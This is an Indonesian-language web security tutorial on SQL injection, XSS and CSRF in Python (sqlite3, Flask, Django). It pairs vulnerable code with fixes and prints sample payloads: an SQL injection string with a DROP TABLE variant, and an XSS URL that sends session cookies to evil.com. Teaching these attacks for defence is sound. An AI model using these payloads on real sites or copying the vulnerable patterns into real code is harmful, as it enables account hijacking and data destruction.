Setiap kali kamu membangun aplikasi web, ada satu pertanyaan yang wajib kamu jawab: apakah aplikasimu sudah aman? Sayangnya, banyak developer — bahkan yang sudah berpengalaman — masih meninggalkan celah keamanan yang bisa dieksploitasi penyerang. Menurut OWASP Top 10, tiga serangan yang paling sering terjadi adalah SQL Injection, Cross-Site Scripting (XSS), dan Cross-Site Request Forgery (CSRF). Di tutorial ini, kita akan mempelajari ketiganya secara mendalam: cara kerjanya, cara mengeksploitasinya (agar kamu paham bahayanya), dan yang terpenting — cara mencegahnya dengan contoh kode Python yang nyata dan bisa langsung kamu praktikkan.
Mengapa Keamanan Web Itu Penting?
Kebocoran data bukan sekadar masalah teknis — ia bisa menghancurkan reputasi, menimbulkan kerugian finansial, dan bahkan berujung pada tuntutan hukum. Sebuah aplikasi yang tampak "berfungsi dengan baik" belum tentu aman. Celah keamanan sering kali muncul dari hal-hal kecil, seperti menyisipkan input pengguna langsung ke dalam query database atau lupa meng-escape output di template. Kabar baiknya: sebagian besar celah ini bisa dicegah dengan beberapa praktik sederhana yang akan kita bahas bersama di artikel ini.
Serangan #1 — SQL Injection
SQL Injection terjadi ketika penyerang berhasil "menyuntikkan" perintah SQL berbahaya melalui input aplikasi. Ini terjadi karena developer menggabungkan input pengguna langsung ke dalam string query. Perhatikan contoh di bawah ini:
import sqlite3
def cari_user(username: str):
conn = sqlite3.connect("app.db")
cursor = conn.cursor()
# ❌ BERBAHAYA: input pengguna digabung langsung ke query
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
return cursor.fetchall()
Kelihatannya tidak berbahaya, bukan? Tapi bayangkan penyerang mengirimkan nilai username seperti ini:
username = "' OR '1'='1' --"
# Query yang terbentuk:
# SELECT * FROM users WHERE username = '' OR '1'='1' --'
# Tanda -- mengubah sisa query menjadi komentar!
Karena kondisi '1'='1' selalu bernilai benar, query di atas akan mengembalikan seluruh baris di tabel users — termasuk password dan data sensitif lainnya. Lebih parah lagi, penyerang bisa menjalankan perintah seperti '; DROP TABLE users; -- untuk menghapus seluruh tabel dalam satu serangan.
Peringatan: Jangan pernah menjalankan contoh exploit di atas ke database produksi. Gunakan database lokal atau percobaan untuk belajar. Mengeksploitasi sistem yang bukan milikmu adalah tindakan ilegal.
Cara Mencegah SQL Injection
Solusinya sederhana: gunakan parameterized query (disebut juga prepared statement). Dengan cara ini, nilai input dikirim terpisah dari struktur query, sehingga database tidak akan pernah menafsirkannya sebagai perintah SQL. Prinsip yang sama berlaku saat kamu bekerja dengan PostgreSQL maupun database relasional lainnya.
import sqlite3
def cari_user(username: str):
conn = sqlite3.connect("app.db")
cursor = conn.cursor()
# ✅ AMAN: gunakan placeholder (?) — nilai dikirim terpisah
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
return cursor.fetchall()
Dengan placeholder ?, input ' OR '1'='1' -- akan diperlakukan sebagai data biasa, bukan bagian dari query. Prinsip yang sama juga berlaku di ORM seperti SQLAlchemy atau Django ORM — selama kamu tidak menyusun query mentah menggunakan f-string, kamu relatif aman dari serangan ini.
Serangan #2 — Cross-Site Scripting (XSS)
XSS terjadi ketika penyerang berhasil menyuntikkan JavaScript berbahaya ke halaman web yang dilihat pengguna lain. Ini biasanya terjadi saat aplikasi menampilkan input pengguna tanpa proses escaping. Perhatikan contoh dengan Flask berikut:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def sapa():
name = request.args.get("name", "")
# ❌ BERBAHAYA: input dirender langsung ke HTML
return render_template_string(f"<h1>Halo, {name}!</h1>")
Penyerang bisa mengarahkan korban untuk mengunjungi URL berikut:
http://localhost:5000/?name=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
Saat korban membuka URL itu, script berbahaya akan berjalan di browser mereka dan mengirimkan cookie sesi ke server penyerang — memungkinkan pembajakan akun. Solusinya adalah selalu melakukan escaping pada output. Untungnya, template engine modern seperti Jinja2 (yang dipakai Flask dan Django) sudah melakukan auto-escaping secara default:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def sapa():
name = request.args.get("name", "")
# ✅ AMAN: {{ name }} di-escape otomatis oleh Jinja2
return render_template_string("<h1>Halo, {{ name }}!</h1>", name=name)
Serangan #3 — CSRF (Cross-Site Request Forgery)
CSRF menyerang dengan cara yang lebih licik: memanfaatkan sesi login korban yang masih aktif. Penyerang membuat halaman atau form jahat di situsnya sendiri, lalu mengelabui korban (yang sedang login di aplikasimu) untuk mengirimkan request berbahaya — misalnya form tersembunyi yang otomatis mengirim permintaan transfer uang atas nama korban.
Pertahanan standar untuk CSRF adalah token CSRF — sebuah nilai acak yang ditanam di setiap form dan divalidasi server pada setiap request yang mengubah data. Django sudah menyediakan perlindungan ini secara bawaan melalui middleware-nya. Kamu cukup menambahkan tag {% csrf_token %} di dalam form:
<form method="post" action="/transfer/">
{% csrf_token %}
<input type="hidden" name="tujuan" value="rekening-penyerang">
<input type="number" name="jumlah" value="1000000">
<button type="submit">Transfer</button>
</form>
Tips: Jika kamu membangun API dengan FastAPI, CSRF umumnya kurang relevan untuk endpoint berbasis token (seperti JWT) karena tidak ada cookie sesi yang bisa dimanfaatkan. Namun jika API-mu tetap memakai cookie, kamu tetap perlu menerapkan proteksi CSRF.
Praktik Keamanan Lainnya yang Wajib Kamu Terapkan
Selain menangkal tiga serangan di atas, ada beberapa kebiasaan yang sebaiknya kamu terapkan sejak awal pengembangan:
1. Hash password — jangan pernah simpan dalam bentuk plaintext. Gunakan algoritma yang dirancang khusus untuk password seperti bcrypt atau argon2:
import bcrypt
password = b"rahasia123"
# Hash password saat registrasi
hashed = bcrypt.hashpw(password, bcrypt.gensalt())
# Verifikasi saat login
if bcrypt.checkpw(password, hashed):
print("Login berhasil!")
2. Jangan hardcode secret di kode sumber. Simpan API key, password database, dan secret lainnya di environment variable atau secret manager.
3. Rutin audit dependensi. Kerentanan sering kali datang dari library pihak ketiga. Gunakan pip-audit untuk memeriksa dependensi Python-mu:
pip install pip-audit
pip-audit
4. Selalu gunakan HTTPS di semua lingkungan, termasuk staging. Enkripsi data saat transit adalah lapisan dasar yang tidak boleh dilewatkan.
Kesimpulan
Keamanan web bukanlah fitur yang ditambahkan di akhir — ia adalah bagian dari proses pengembangan itu sendiri. Dengan memahami SQL Injection, XSS, dan CSRF serta menerapkan parameterized query, auto-escaping, token CSRF, dan hashing password, kamu sudah menutup sebagian besar celah yang paling sering dieksploitasi penyerang. Mulailah dari satu kebiasaan kecil hari ini: periksa kembali setiap query dan template di aplikasimu. Sampai jumpa di tutorial berikutnya!
Apa perbedaan antara SQL Injection dan XSS?
SQL Injection menyerang database (backend) dengan menyuntikkan perintah SQL berbahaya melalui input, sedangkan XSS menyerang browser pengguna lain (frontend) dengan menyuntikkan JavaScript berbahaya ke halaman. Keduanya sama-sama berbahaya, namun target dan dampaknya berbeda.
Apakah framework modern seperti Django sudah aman dari serangan ini?
Sebagian besar framework modern sudah punya perlindungan bawaan. Django meng-escape template dan menyediakan CSRF middleware, sementara ORM-nya melindungi dari SQL Injection. Namun perlindungan ini hanya bekerja jika kamu menggunakannya dengan benar — misalnya tidak mematikan auto-escape atau menulis raw SQL sembarangan.
Berapa lama waktu yang dibutuhkan untuk mengamankan aplikasi?
Praktik dasar seperti parameterized query, auto-escaping, dan hashing password bisa diterapkan sejak awal tanpa menambah waktu pengembangan secara signifikan. Ini jauh lebih murah dibandingkan harus menangani kebocoran data di kemudian hari.